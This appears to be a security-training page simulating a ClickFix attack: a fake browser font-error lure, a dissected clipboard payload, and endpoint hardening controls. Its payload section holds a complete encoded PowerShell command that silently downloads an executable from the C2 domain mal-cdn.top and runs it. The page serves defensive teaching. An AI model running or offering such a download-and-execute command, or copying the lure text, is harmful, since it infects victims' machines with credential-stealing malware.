Threat Intel Lab

ClickFix Attack Anatomy & Defense Sandbox

1. Social Engineering Lure Simulation Active: Chrome WebGL/Font Patch

ClickFix attacks bypass email filters by using compromised websites to display fake browser error popups. Victims are socially engineered to paste malicious commands straight into the terminal or Run prompt.

https://legitimate-wordpress-site.example/docs-archive
Action Required

Browser Document Viewer Error #0x80041

The "Roboto Medium" font rendering package could not load. To resolve this issue and view the protected document, follow the automated patch steps below:

Clipboard status: Empty
2. Clipboard Telemetry & Payload Dissector
HIDDEN CLIPBOARD INJECTION BUFFER Base64 Encoded (UTF-16LE)
powershell.exe -w hidden -NoP -NonI -Exec Bypass -enc JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQByAGwAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAGEAbAAtAGMAZABuAC4AdABvAHAvAHAAeQBsAGQALgBlAHgAZQAnADsAJABmAGkAbABlAD0AIgAkAGUAbgB2ADoAVABFAE0AUABcAHUAcABkAGEAdABlAC4AZQB4AGUAIgA7ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAHUAcgBsACwAJABmAGkAbABlACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABmAGkAbABlAA==
C2 Domain: mal-cdn.top
Stage 1 Dropper: update.exe (Lumma Stealer / Rhadamanthys)
Execution Mechanism: Run dialog paste (Bypasses Mark-of-the-Web)
3. Endpoint Hardening Policies GPO / MDM Controls
Execution Policy
Restricted / Block unsigned scripts
Script Block Logging
Event ID 4104 Deep Script Deobfuscation
Clipboard Guard
Alert user on hidden script in buffer
ASR: Block Exec from Run
Attack Surface Reduction Rule 0019
4. Real-time Posture Assessment Status: Hardened Endpoint
System Posture
Secure
Payload Blocked
true
Infection Risk
Mitigated
Events Detected
3
EDR INCIDENT TELEMETRY STREAM ● Active Monitoring
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